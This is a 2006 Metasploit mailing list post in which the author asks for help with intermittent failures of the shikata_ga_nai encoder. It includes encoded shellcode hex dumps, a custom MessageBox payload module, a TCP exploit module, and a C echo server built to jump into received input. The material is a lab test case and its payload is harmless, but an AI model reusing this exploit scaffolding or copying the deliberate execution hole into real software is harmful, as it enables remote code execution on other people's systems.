Metasploit mailing list archives
Bug in shikata_ga_nai encoder ?
From: alok.menghrajani at ilionsecurity.ch (Alok Menghrajani)
Date: Tue, 17 Oct 2006 17:09:25 +0200
Hi, Thanks Pranay Kanwar for your answer regarding how to specify the encoder. I am running into a strange bug with the shikata_ga_nai encoder. I haven't yet been able to pin point what exactly is wrong or how to fix it, so I'm hoping someone here might be able to give me some valuable tips. I wrote a basic echo server, to which I added a simple vulnerability: if the first 4 characters of the input match 'code', then the echo server will jump the control flow to the 10th character. So you basically have to send 'code......<payload>' to exploit the echo server. I then wrote a basic payload, which just displays a messagebox. Finally I wrote a basic exploit, which connects to my echo server and sends the payload. I have included all three files below. Now I noticed that when I'm using the shikata_ga_nai encoder, the payload isn't always executed (it runs fine about once every 3 or 4 tries); in most cases the echo server crashes. If I use another encoder, such as jmp_call_additive, the payload is executed each time. Now comes the disconcerting part; if I use other payloads such as windows/exec or windows/reverse_shell_tcp, with the shikata_ga_nai encoder and my echo server, everything works fine. So it seems shikata_ga_nai and my payload don't get along :) Any info on how I can get a better understanding of what is happening ? Thanks, Alok. Here is the shikata_ga_nai encoded string which fails: -------------------------------------------------------------------------------- be274f84fec1e24877717218f879419b7f7b05b7b5984042756731f7e169f9b97a1c38fdbf2f9fa9 964781e34614919001d697430437730db2784b1d4e15b42dba3d7e6634b62592937d49763c86f599 3fa84a0c24b388fc1bd410e0352cb9b602e175787074797e22d2e0727a4f93be32f5b7993cbf9f90 b505b17f0d6bfc0c84d4731c4e37b42d7725241508eb01d6b24998913f467c3443b30448351ad1e2 2c4aa8717d1d9b2f407647420bd5b080f883f6d0f903fdbb7b4bba96a967b8669792411489f7e33d 7e279341bf22d5913f7c29e2794987d667723523d3f8b7754a1c73487805a8747b2f2af909e332f5 b242b92c2d276611d2d4bab89913fd1470713788e024bb31ffc1e17f253d4e7a77403496431d90be a9477646b1924fb0970d040c3cb4b37d30fcb69819eb4b28eb7718e27b7e7115b59b9f98b2b89979 7a1d27417c489638e1730d1bfec0e3673c25b042b41c373afc147543b120f59b7f76044a2bf84b24 90a981d6b9babeb312e0153593a84766bb052cb63bfd40b574784991b7702d2fbf924f3f3d33f90c 39d5974e7246349f86d47d69f505737f21eb72703792b2967802d5b1797d1415b6b5b39391baa82f 7a0d41b00c4e247110fd429f404967b785d6662743354b69f887f7e31d7b483f11f9bfa990989b34 b97623fc1c477c25bb4abe81e23cb8997e2d28e13d2c973be0770bd40446b474754f89c1e17c21e0 42b897b29288f51c2db5737567981d1bd3d1e20c0db12c7f37a83c9fbb702f40be3d4f777d347613 f94ab301f89b48bf910412d6b9359025967b27b72493b038d4781466054b717e7a41992bd5b67419 eb43a9794647b43f20fc4eba153afd491ae3724e707248b27c7f2db649b1b79fb32ad4a84192b098 2f787342b9a9967b7166b4937d14740d763d35343f7a22eb08f59190b8bb2583f93c7e4b29d64718 fec0e32c4a2784e21d1c754680d2e10c4f86d503fd970433fc05b537bf67241532f8beba4399796b d0e077409b7b39f81c85fdb5ba99a89b4f7031d6750430e3422f66923db010d5b64aa99f09eb3577 1d7a737d02f6d1e2417934bf0c1530f7e0480525277614bb6bf547720d984bb4404e90b3be432c46 7e22f6d493b8b9b12ae13f977123f9b2742db7787c7f3796913c49242bfc7c747a01e028ffc0e37f 7767994aa83db29327b011fec1eb794869fcb1bb98b57b2f2d0471377325786696ba754f9f49b47e 7213d5b69235a981e2703fb341761d9b86e1142c247d39fd4b89d6b7473bd415400d31d3f80c0bf5 671c054e43b880f9919746bf34b93cbe9084e0734293b887d2e17f4b927d1c4014b79b4779754919 eb7443460c33f5b490423f85d47b18fc99ba707624be251dbb979f983d27bf03d0f9b94ab596a93c b02fb3a867b132fd664f7c7138e220d54e2d0405917e357a0db637413409f848152cb212d6787772 3ae349792c7b21e2727c731ad6757405717a707634b24b787f37b193b40d92467d2729e34a2d1d96 9f3cb3b9251bfd91979908fc88e12f1c83eb10e041be2415bf6602f7d2f90c7e35b547a8b0044e0b f5b64814bb9040b712d523c0f8a943776bd49b3f3d4fb84298ba85e319e07b01f6e167b1994a9b96 7e773dbb154e2da824b0989f3f2fb7b5a97f7a4fbe03d52783f8b8bf7009d1e225b486fd37737846 429738d41c35b27449ba717c66b94367b3720c41b67904347d2c87ffc1d675053c9076474014933b fc18f9910d9269f54b81eb481d7c7976417325142f99b62bfd84fc39e066bb90b0b87820e313d4b1 9197777f4922d53f0d924f7d359bb737ba7547672d9f93041d4b7b7005b589e23c28f8bf4e30f5be b47e741c984829e134a84a0c08f971723aeb3d7a72277333d6b3b27c46762cb97802e04274437e24 a977407a31d0e2159667704a9fbb7b47b0b9257f1bd5fd752fb780d3e12af83732fc410d4b21d690 401d10f5a89171152d2ca9b87911e3147d053f9bb20c1cb54927ba24b648974f1af988d466b398be 3c99bf92433d353496b493eb0442b1464ebaa75c9b17dbd5d97424f45e31c9b11e83eefc31560e03 f15279e2156a7d0de530f6c6640731d966881360119513ee227498c45db6dbda5d39b58ae41199ab 6a9d309840333814e5756eabe575defab78a304595bf30ca26ee4640bd639a9413e0b0b46ba52d36 1854c9dd9cf96d5f204eba3c4b7da6e2e9f806d28193767a793744e10cc59b9197098f7726642f88 -------------------------------------------------------------------------------- Here is the shikata_ga_nai encoded on a different run which succeeds: -------------------------------------------------------------------------------- 84d580d47b3c7a79041d37a8752fbfb22ae235407614151c1bf888fc9231f93f9b4fa928e37122d6 46747e414285fec0eb4327b405b96649b7b37020f52538e1340db69f242cbeb897780c7d4eba7772 677c734b489003fd914ab19998b593477f342c0bf6eb4683d3d1e172777b79703d9193b6be4e80f8 0d757d24a8ba20fc4f962d992bfdbf907122f90489e03ad0d4b4926684e23cb8741478484b434a37 19e3059718f59825b91c2f03d5b2b19bb57f7c414247b3156740b033d6a949277a3f351db79f7e0c bb76733430e305937f7e2f2d727b704a757341787a761dbe402cb79743673d994804bbb9b53c0bd5 7d4991142577460cb46669f7d6980da809f8b27123d4249686fc47744ea9277931e21c1ae108fd02 eb4f929bb13fb6b07c01e02af5379f9035b887f9ba4b4215bfb3744e88e229d2e377781bfcb01593 b899904bb27d2c0449434012d67a1c4f9810fd21e1713513ffc0fec1f9b934b485eb2d9691b16725 7673727b757e24929b373f0532f52f483c793bd447707c4a28e066b33da9ba7f38f897beb627b51d 0c14bf46bba80d6bd541b79f71757a747f797e429993439ba97b763d147c4911e21db839fd2fb181 eb723f02d1f9b496989f34479731d642b9bf4bb3a867b777731592917d23f84e08e00dbb2c4129ff c0e3244f781ad54622fc4abe1bf5ba37257039d42d3be127403c901cb00cb50548b2350466b67142 24b1b213fc4b99b9727a4f9173412f7e3c047c7b1d7d4043707f7501f7d2e019e37978152ae17466 be9f4635b0b4b714a8b5932c2576484e33d0f99b0c4985d5ba47bf2bf8bb1cb8b30d92962d3f3d67 84d4376bd6974a9034b603f521fec1d3e22798a920fd0588eb772d30d5b470433ae06786d609e132 f947797f40b141782cb381eb7c11e2754b711497b23798727e3493243da9a8ba0c7a462f7b7466b9 9b0d18fcb00bf5b615737d4e764f91257738f89690bf05423fb7bb4a87f6e34980fd0412d41d3cb5 9227be1c4835b89f997276777e747f757b40ba2589e20cb683fd974b7a737d27247179439669fc7c 3db5931cb14e379810eb28d5473f9b67482c09e3346615bb0bd44a0d41a99fb4702dbf1bf7d2e078 4f4699143c0419f905b8359249beb7b26bf5911d13d1e108d0d680f84279727730e32fb3b9b090a8 9289ffc0d4707b37b1b4247141a9484b7c01f829e1787f7e0c902522f5051d764e6784d56649979b 999147b51ca87d31f983eb3d9f11d3e275744a93be3fba2fb027bb18e043b7352cbf047a2bfdb64f b8b94214152d407328fc980db396b2463c87d63476717b4986e1782ae340b82c7d2f051c7e7003d5 159b9f02fd10eb7723fcbb46baa9bf974142a8937c3f69f6d439e22588d633fec1f935244f7a7304 21f8b7677f2748983492754eb6909672431af5b02db3be370db1b5911d47660c994b7914b485e03d b9b24a747270733cb2b7767120e17b7f437a7e2f81e0359848a9143f787412d4791cba32f54bb6b8 157d2d053ad57c66b442a84e993bfdbb934a9240b0b5b96790bf3d4f477733fc9b38e2251d96970d 91b10c87f89fbe4638f92c4904341ae3243c75413aeb28d637b3272c7d7413c0e1247218e36783d6 43417e7f4b92764f429bb1b7970d34b3b919e0702585d47a4e903d2d9920d549b496ba88e22ad0fc b03cb8a92f787b1d3f4691b29fa815b6b512f5931c40050c4abe35bb6bd1f8bf277c7311d3eb6637 487779147175479803f92bfd047f08fd32e3747031e12402e222d43d0bf84f39d57275762f9b1c46 7371149f797d7c21e02c787a7725493490b20d81f993484a27b47b1bf510eb374eb1b3bea999bfb6 91bb1d4398a87e05b73c400c7a75049779703f7f66b9772d734189e24b7815b0b57135b8967d30f6 c1f7d67247926784e1427401eb3bfcbabab87e23fc6691b9b09676347b29e035beb12f40420d469b 3d9886d2e31d69f524b7a880fdb448922c054941b27c144bbb99259f67b393d6044e97d40cb63f4a 2747bfa93c4f152d43f99009f81cb5d537dbc4d97424f45a29c9b11eb8bc0e2dda31421783eafc03 fe1dcf2f16210fd0e679841b67bca39b673f85221022a529218d2e1a5cef759d5ef024cde7d86a6d 6be6a25d414ace69e4aa806de62c703fb4d3a2069ae6c2052527b186bcba095b105f02f76cd2bf74 1f8d581e9d22dfa121f52b414a3630a5ee41989482d8e8b87a483a260f1c0ddc96c03e32292fc14a -------------------------------------------------------------------------------- Finally, here are my other files: The payload. payloads/singles/windows/alok_sample.rb -------------------------------------------------------------------------------- require 'msf/core' module Msf module Payloads module Singles module Windows module AlokSample include Msf::Payload::Windows include Msf::Payload::Single def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Sample Executable', 'Description' => 'Display a simple MessageBox', 'Platform' => 'win', 'Arch' => ARCH_X86, 'Privileged' => false, 'Payload' => { 'Offsets' => { 'LOADLIBRARY' => [ 16, 'HEX' ], 'GETPROCADDRESS' => [ 33, 'HEX' ], 'EXITPROCESS' => [ 56, 'HEX' ] }, 'Payload' => "\xe8\x00\x00\x00\x00\x5b\x8b\xcb\x81\xc1\x39\x00\x00\x00\x51\xb9\xFF\xFF\xFF". "\xFF\xff\xd1\x8b\xcb\x81\xc1\x44\x00\x00\x00\x51\x50\xb9\xFF\xFF\xFF\xFF\xff". "\xd1\x33\xd2\x52\x8b\xcb\x81\xc1\x50\x00\x00\x00\x51\x51\x52\xff\xd0\xb9\xFF". "\xFF\xFF\xFF\xff\xd1\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x4d\x65\x73". "\x73\x61\x67\x65\x42\x6f\x78\x41\x00\x48\x34\x63\x6b\x33\x64\x20\x62\x79\x20". "\x31\x6c\x69\x30\x6e\x20\x53\x33\x63\x75\x72\x31\x74\x79\x20\x53\x2e\x41\x2e". :\x00\x00" } )) # EXITFUNC is not supported :/ deregister_options('EXITFUNC') # Register command execution options register_options( [ OptString.new('LOADLIBRARY', [ true, "address of LoadLibrary", "0x7C801D77" ]), OptString.new('GETPROCADDRESS', [ true, "address of GetProcAddress", "0x7C80AC28" ]), OptString.new('EXITPROCESS', [ true, "address of ExitProcess", "0x7C81CAA2" ]) ], Msf::Payloads::Singles::Windows::AlokSample) end # This could be part of metasploit... def replace_var(raw, name, offset, pack) if pack == "HEX" val = datastore[name] val = val.to_s.hex val = [ val.to_i ].pack("V") raw[offset, val.length] = val return true else return false end end def generate return super end end end end end end -------------------------------------------------------------------------------- The exploit: modules/exploits/windows/alok/sample.rb -------------------------------------------------------------------------------- require 'msf/core' module Msf class Exploits::Windows::Alok::Sample < Msf::Exploit::Remote include Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'my first metasploit 3 exploit.', 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 160, 'BadChars' => "\x00\x0a", }, 'Platform' => 'win', 'Targets' => [ ['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad }], # Not impl yet ], 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(9905) ], self.class) end def exploit pl = payload.encoded + "\n" print_status("Sample exploit started. Sending exploit:") print_status(pl.unpack("H*")) print_status("Encoder used:") print_status(payload.encoder.fullname) connect print_status("Connected.") sock.put("code......" + pl) print_status("Done.") sock.get handler disconnect end end end -------------------------------------------------------------------------------- And the echo server: vulsrv.c -------------------------------------------------------------------------------- #include <stdio.h> #include <stdlib.h> #include <winsock2.h> #include <windows.h> #define BUFFER_SIZE 2000 unsigned char buf[BUFFER_SIZE]; /* Simple function to jump into buf */ void foo(unsigned char *ptr) { int *ret; ret = (int*)&ret; ret += 3; /* depending on your compile options, this value might have to be changed ! */ *ret = (int)ptr; } int main(int argc, char **argv) { WSADATA ws; int i, j, t; SOCKET srv, conn; SOCKADDR_IN addr; printf("starting simple vuln server.\n"); /* Init socket library */ if (WSAStartup(0x101,&ws)!=0) { printf("WSAStartup failed.\n"); exit(-1); } /* Create server socket */ srv = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0); if (srv == INVALID_SOCKET) { printf("WSASocket failed.\n"); exit(-1); } /* Setup struct and call bind */ /* We are going to listen on port 9905 */ memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_ANY); addr.sin_port = htons(9905); if (bind(srv, (SOCKADDR*)&addr, sizeof(addr)) != 0) { printf("bind failed (%d).\n", WSAGetLastError()); exit(-1); } if (listen(srv, 1)!=0) { printf("listen failed.\n"); } while (1) { printf("waiting for connections.\n"); conn = accept(srv, NULL, 0); if (conn == INVALID_SOCKET) { printf("accept failed.\n"); exit(-1); } printf("client has connected.\n"); /* Read oneline or BUFFER_SIZE */ i = 0; while (i < (BUFFER_SIZE-2)) { t = recv(conn, buf+i, 1, 0); if (t==0) { /* Socket is closed */ break; } if (t == SOCKET_ERROR) { printf("recv failed.\n"); i = 0; break; } /* Now go through what was read to see if we got a \n. */ if (buf[i]=='\n') { break; } i+=t; } if (i==0) { /* Something happened */ continue; } buf[i]=0; printf("Received: %s\n", buf); send(conn, buf, i, 0); /* Check if we received "code??????+<shellcode>" */ if (strncmp(buf, "code", 4)==0) { foo(buf+10); } /* Close socket */ if (closesocket(conn)!=0) { printf("closesocket failed\n"); continue; } } } -------------------------------------------------------------------------------- Thanks, Alok.
Current thread:
- Bug in shikata_ga_nai encoder ? Alok Menghrajani (Oct 17)
- Bug in shikata_ga_nai encoder ? H D Moore (Oct 17)
- Bug in shikata_ga_nai encoder ? Alok Menghrajani (Oct 18)
- Bug in shikata_ga_nai encoder ? H D Moore (Oct 17)